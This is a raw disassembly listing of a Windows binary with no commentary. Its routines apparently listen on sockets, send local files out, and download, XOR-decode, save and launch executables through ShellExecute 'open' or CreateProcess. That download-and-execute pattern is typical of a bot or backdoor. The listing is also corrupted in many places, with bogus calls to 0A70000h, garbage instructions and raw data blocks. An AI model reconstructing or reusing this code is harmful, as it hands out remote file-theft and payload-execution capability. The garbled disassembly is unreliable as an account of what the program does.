call near ptr 0A70000h
loc_409A71: ; CODE XREF: seg000:00409A1Ej
db 2Eh
push offset byte_42E348
push ebx
call loc_408CA5
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short near ptr loc_409ADC+1
lea eax, [ebp-11B4h]
push offset dword_427B58
push eax
call sub_4135AD
xor edi, edi
pop ecx
cmp [ebp-8], edi
pop ecx
jnz short loc_409AB9
push edi
lea eax, [ebp-11B4h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-94h]
push eax
push ebx
call sub_4110B0
add esp, 14h
loc_409AB9: ; CODE XREF: seg000:00409A9Cj
lea eax, [ebp-11B4h]
push eax
call sub_409615
pop ecx
push ebx
call ds:dword_42F7A0
push dword ptr [ebp-10h]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
loc_409ADC: ; CODE XREF: seg000:00409A82j
mov esp, 15FF646Ah
pop eax
lock inc ecx
add [ebx], dh
; ---------------------------------------------------------------------------
dw 0BEFFh
dd 1000h, 4C858D56h, 57FFFFEEh, 9B36E850h, 0C4830000h
dd 4C858D0Ch, 57FFFFEEh, 0FF535056h, 42F72015h, 7EC08500h
dd 4C858D38h, 68FFFFEEh, 423020h, 0A1AEE850h, 858D0000h
dd 0FFFFEE4Ch, 0EF63E850h, 0C483FFFFh, 74C0850Ch, 0FF646A14h
dd 41F05815h, 0E8076A00h, 975Dh, 7559C085h, 4C858DA3h
dd 68FFFFEEh, 427B10h, 9A53E850h, 7D390000h, 755959F8h
dd 858D571Bh, 0FFFFEE4Ch, 50F475FFh, 0FF6C858Dh, 5350FFFFh
dd 7537E8h, 14C48300h, 0EE4C858Dh, 0E850FFFFh, 0FFFFFA8Dh
dd 15FF5359h, 42F7A0h, 0E8F075FFh, 97DDh, 61E85759h, 0F0006664h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BA0 proc near ; DATA XREF: seg000:0040FA4Eo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call ds:dword_42F788
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_409BEE
push offset dword_427D3C
jmp loc_409DA7
; ---------------------------------------------------------------------------
loc_409BEE: ; CODE XREF: sub_409BA0+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call ds:dword_42F708
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call ds:dword_42F734
test eax, eax
jz short loc_409C2C
push offset dword_427D04
jmp loc_409DA7
; ---------------------------------------------------------------------------
loc_409C2C: ; CODE XREF: sub_409BA0+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call ds:dword_42F6AC
push [ebp+var_2E]
call ds:dword_42F644
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_413DB0
pop ecx
loc_409C5E: ; CODE XREF: sub_409BA0+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_409C71
push 5Fh
pop eax
jmp short loc_409C74
; ---------------------------------------------------------------------------
loc_409C71: ; CODE XREF: sub_409BA0+CAj
movsx eax, al
loc_409C74: ; CODE XREF: sub_409BA0+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_413DB0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_409C5E
push ebx
push edi
call ds:dword_42F730
test eax, eax
jz short loc_409CA7
push offset dword_427B9C
jmp loc_409DA7
; ---------------------------------------------------------------------------
loc_409CA7: ; CODE XREF: sub_409BA0+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call ds:dword_41F078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_409CD1
push offset dword_427CD0
jmp loc_409DA7
; ---------------------------------------------------------------------------
loc_409CD1: ; CODE XREF: sub_409BA0+125j
push esi
push eax
call near ptr 0A70000h
mov esi, 50084589h
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_408619
pop ecx
push eax
call ds:dword_42F748
push eax
call ds:dword_42F704
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_427CB8
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_4110B0
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call ds:dword_42F6F0
test eax, eax
jg short loc_409D81
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_427C8C
push eax
push [ebp+var_1FC]
call sub_4110B0
jmp loc_409EA5
; ---------------------------------------------------------------------------
loc_409D81: ; CODE XREF: sub_409BA0+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call ds:dword_42F79C
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_409DBA
push offset dword_427C54
loc_409DA7: ; CODE XREF: sub_409BA0+49j
; sub_409BA0+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_4135AD
pop ecx
pop ecx
jmp loc_409EA8
; ---------------------------------------------------------------------------
loc_409DBA: ; CODE XREF: sub_409BA0+200j
push edi
call ds:dword_42F7A0
cmp [ebp+arg_0], esi
jz loc_409E6C
mov edi, 400h
loc_409DCF: ; CODE XREF: sub_409BA0+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_409DDC
mov [ebp+var_4], eax
loc_409DDC: ; CODE XREF: sub_409BA0+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_413630
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_41F098 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_41F094 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call ds:dword_42F758
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call ds:dword_42F720
cmp eax, ebx
jl loc_409F01
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_409F01
sub [ebp+arg_0], eax
jnz loc_409DCF
mov edi, [ebp+var_18]
loc_409E6C: ; CODE XREF: sub_409BA0+224j
push [ebp+var_8]
call ds:dword_41F070 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_40A6A6
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call ds:dword_42F794
push eax
lea eax, [ebp+var_3FC]
push offset dword_427C00
push eax
call sub_4135AD
loc_409EA5: ; CODE XREF: sub_409BA0+1DCj
add esp, 14h
loc_409EA8: ; CODE XREF: sub_409BA0+215j
cmp [ebp+var_50], esi
jnz short loc_409ECD
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_4110B0
add esp, 14h
loc_409ECD: ; CODE XREF: sub_409BA0+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_409615
cmp edi, esi
pop ecx
jbe short loc_409EE5
push edi
call ds:dword_42F7A0
loc_409EE5: ; CODE XREF: sub_409BA0+33Cj
push [ebp+var_1F8]
call ds:dword_42F7A0
push [ebp+var_58]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
xchg eax, edi
loc_409F01: ; CODE XREF: sub_409BA0+2AFj
; sub_409BA0+2BAj
push esi
mov esi, offset dword_427BD4
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_4110B0
push esi
call sub_409615
add esp, 18h
push [ebp+var_1F8]
call ds:dword_42F7A0
push [ebp+var_58]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
push ebx
sub_409BA0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F42 proc near ; DATA XREF: seg000:0040BB12o
var_1A37C = byte ptr -1A37Ch
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_413E30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call near ptr 0A70000h
adc cl, [ebp-1A37Bh]
call dword ptr [eax-73h]
test ds:8D50FFFFh[edi*8], edi
test ds:2468FFFFh[edi*8], edi
xor [edx+0], al
push eax
call sub_4135AD
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_41F078 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_409FCC
push offset dword_427E44
jmp short loc_40A012
; ---------------------------------------------------------------------------
loc_409FCC: ; CODE XREF: sub_409F42+81j
push eax
call ds:dword_41F070 ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_413CA8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_409FF4
push offset dword_427E00
jmp short loc_40A012
; ---------------------------------------------------------------------------
loc_409FF4: ; CODE XREF: sub_409F42+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_409959
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40A025
push offset dword_427DCC
loc_40A012: ; CODE XREF: sub_409F42+88j
; sub_409F42+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_4135AD
pop ecx
pop ecx
jmp loc_40A11F
; ---------------------------------------------------------------------------
loc_40A025: ; CODE XREF: sub_409F42+C9j
mov esi, 1000h
loc_40A02A: ; CODE XREF: sub_409F42+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_42F720
mov edi, eax
cmp edi, ebx
jz near ptr loc_40A0F0+1
cmp edi, 0FFFFFFFFh
jz short loc_40A092
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41568F
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call ds:dword_42F704
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call ds:dword_42F758
jmp short loc_40A02A
; ---------------------------------------------------------------------------
loc_40A092: ; CODE XREF: sub_409F42+118j
lea eax, [ebp+var_4C4]
push offset dword_427BD4
push eax
call sub_4135AD
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_4110B0
lea eax, [ebp+var_4C4]
push eax
call sub_409615
push [ebp+var_4]
call sub_413C00
add esp, 24h
push [ebp+arg_0]
call ds:dword_42F7A0
push [ebp+var_1C]
call sub_413375
pop ecx
push 1
call near ptr 0A70000h
loc_40A0F0: ; CODE XREF: sub_409F42+10Fj
add cl, [ebx+5299F845h]
push eax
call sub_40A6A6
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_427D74
push eax
call sub_4135AD
add esp, 1Ch
loc_40A11F: ; CODE XREF: sub_409F42+DEj
cmp [ebp+var_14], ebx
jnz short loc_40A144
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_4110B0
add esp, 14h
loc_40A144: ; CODE XREF: sub_409F42+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_409615
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40A15F
push [ebp+var_4]
call sub_413C00
pop ecx
loc_40A15F: ; CODE XREF: sub_409F42+212j
cmp [ebp+arg_0], ebx
jbe short loc_40A16D
push [ebp+arg_0]
call ds:dword_42F7A0
loc_40A16D: ; CODE XREF: sub_409F42+220j
push [ebp+var_1C]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
out dx, al
sub_409F42 endp ; sp-analysis failed
loc_40A17D: ; DATA XREF: seg000:0040EA44o
; seg000:0040F191o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push ds:dword_42F6B8
call ds:dword_42F618
cmp eax, esi
mov [ebp-18h], eax
jz loc_40A609
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
call ds:dword_41F078 ; CreateFileA
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_40A244
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_428100
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_40A227
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
add esp, 14h
loc_40A227: ; CODE XREF: seg000:0040A205j
lea eax, [ebp-510h]
push eax
call sub_409615
push dword ptr [ebp-48h]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
insd
loc_40A244: ; CODE XREF: seg000:0040A1E5j
xor edi, edi
call ds:dword_41F044 ; GetTickCount
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_413E5F
pop ecx
mov [ebp-1Ch], eax
loc_40A25E: ; CODE XREF: seg000:0040A331j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call ds:dword_42F620
cmp [ebp-34h], esi
jz short loc_40A2A2
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_40A66F
pop ecx
pop ecx
loc_40A2A2: ; CODE XREF: seg000:0040A28Fj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
call near ptr 0A70000h
out 3Bh, al
sti
jnb short loc_40A2E0
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_40A2CA
mov eax, [ebp+8]
loc_40A2CA: ; CODE XREF: seg000:0040A2C5j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_413690
add esp, 0Ch
loc_40A2E0: ; CODE XREF: seg000:0040A2BCj
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_40A2ED
cmp edi, [ebp-3Ch]
ja short loc_40A337
loc_40A2ED: ; CODE XREF: seg000:0040A2E6j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_40A307
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_4280B4
jmp short loc_40A317
; ---------------------------------------------------------------------------
loc_40A307: ; CODE XREF: seg000:0040A2F3j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_428070
loc_40A317: ; CODE XREF: seg000:0040A305j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_434698
push eax
call sub_4135AD
add esp, 10h
cmp [ebp+8], esi
ja loc_40A25E
loc_40A337: ; CODE XREF: seg000:0040A2EBj
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_40A38C
cmp edi, [ebp-3Ch]
jz short loc_40A38C
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_428028
push eax
call sub_4135AD
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
lea eax, [ebp-510h]
push eax
call sub_409615
add esp, 28h
loc_40A38C: ; CODE XREF: seg000:0040A341j
; seg000:0040A346j
call ds:dword_41F044 ; GetTickCount
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_41F070 ; CloseHandle
push dword ptr [ebp-1Ch]
call sub_413ED3
cmp [ebp-38h], esi
pop ecx
jz short loc_40A416
lea eax, [ebp-148h]
push eax
call sub_4098E7
cmp eax, [ebp-38h]
pop ecx
jz short loc_40A416
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_427FEC
push eax
call sub_4135AD
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
lea eax, [ebp-510h]
push eax
call sub_409615
add esp, 28h
loc_40A416: ; CODE XREF: seg000:0040A3BEj
; seg000:0040A3D0j
cmp [ebp-14h], esi
jz loc_40A656
cmp dword ptr [ebp-44h], 1
jz loc_40A511
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul ds:dbl_41F658
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul ds:dbl_41F658
fstp qword ptr [esp]
push offset unk_427FA0
push eax
call sub_4135AD
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_40A491
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
add esp, 14h
loc_40A491: ; CODE XREF: seg000:0040A46Fj
lea eax, [ebp-510h]
push eax
call sub_409615
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_40A656
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call ds:dword_42F67C
cmp [ebp-30h], esi
jnz loc_40A656
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_427F68
push eax
call sub_4135AD
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
lea eax, [ebp-510h]
push eax
call sub_409615
add esp, 24h
jmp loc_40A656
; ---------------------------------------------------------------------------
loc_40A511: ; CODE XREF: seg000:0040A423j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul ds:dbl_41F658
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul ds:dbl_41F658
fstp qword ptr [esp]
push offset unk_427F14
push eax
call sub_4135AD
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_40A579
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
add esp, 14h
loc_40A579: ; CODE XREF: seg000:0040A557j
lea eax, [ebp-510h]
push eax
call sub_409615
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_413630
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_413630
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_42E348
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
call near ptr 0A70000h
arpl [ebx], di
mov dword ptr [ebp+12h], 0F66815FFh
inc edx
add al, ch
leave
fdiv st(7), st
call dword ptr [esi-1]
adc eax, offset dword_41F104
lea eax, [ebp-148h]
push eax
push offset unk_427EC8
jmp short loc_40A615
; ---------------------------------------------------------------------------
loc_40A609: ; CODE XREF: seg000:0040A1C2j
lea eax, [ebp-248h]
push eax
push offset unk_427E88
loc_40A615: ; CODE XREF: seg000:0040A607j
lea eax, [ebp-510h]
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_40A649
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4110B0
add esp, 14h
loc_40A649: ; CODE XREF: seg000:0040A627j
lea eax, [ebp-510h]
push eax
call sub_409615
pop ecx
loc_40A656: ; CODE XREF: seg000:0040A419j
; seg000:0040A4A2j ...
push dword ptr [ebp-18h]
call ds:dword_42F73C
push dword ptr [ebp-48h]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
; ---------------------------------------------------------------------------
db 0D9h
; =============== S U B R O U T I N E =======================================
sub_40A66F proc near ; CODE XREF: seg000:0040A29Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40A68B
loc_40A67B: ; CODE XREF: sub_40A66F+1Aj
mov dl, ds:byte_42823C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40A67B
locret_40A68B: ; CODE XREF: sub_40A66F+Aj
retn
sub_40A66F endp
; =============== S U B R O U T I N E =======================================
sub_40A68C proc near ; CODE XREF: seg000:0040DC97p
; seg000:0040DDEEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_415799
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40A68C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6A6 proc near ; CODE XREF: sub_404858+45Dp
; sub_404858+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_433AD8
push 0
push edi
call sub_413630
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40A6CB: ; CODE XREF: sub_40A6A6+5Bj
; sub_40A6A6+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_4152F0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_415370
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40A709
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40A6CB
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40A6CB
; ---------------------------------------------------------------------------
loc_40A709: ; CODE XREF: sub_40A6A6+4Bj
dec esi
mov eax, edi
loc_40A70C: ; CODE XREF: sub_40A6A6+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40A71B
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40A70C
; ---------------------------------------------------------------------------
loc_40A71B: ; CODE XREF: sub_40A6A6+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40A6A6 endp
; =============== S U B R O U T I N E =======================================
sub_40A725 proc near ; CODE XREF: sub_40A8D1+51p
; sub_40A8D1+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_42F768
sub eax, 0
jz short loc_40A768
dec eax
jz short loc_40A762
dec eax
dec eax
jz short loc_40A75C
dec eax
jz short loc_40A756
dec eax
jz short loc_40A750
dec eax
jz short loc_40A74A
mov eax, offset word_42785C
retn
; ---------------------------------------------------------------------------
loc_40A74A: ; CODE XREF: sub_40A725+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40A750: ; CODE XREF: sub_40A725+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40A756: ; CODE XREF: sub_40A725+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40A75C: ; CODE XREF: sub_40A725+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40A762: ; CODE XREF: sub_40A725+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40A768: ; CODE XREF: sub_40A725+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40A725 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A76E proc near ; CODE XREF: sub_40A7B6+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_42F604
test eax, eax
jz short loc_40A7A3
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; dword_42F604
loc_40A7A3: ; CODE XREF: sub_40A76E+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40A76E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7B6 proc near ; CODE XREF: sub_408F79+1F3p
; sub_40A8D1+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40A76E
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40A88E
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40A88E
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40A88E
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_4157E0
push edx
push eax
call sub_40A6A6
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_413B2A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_4157E0
push edx
push eax
call sub_40A6A6
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_413B2A
add esp, 18h
push 0
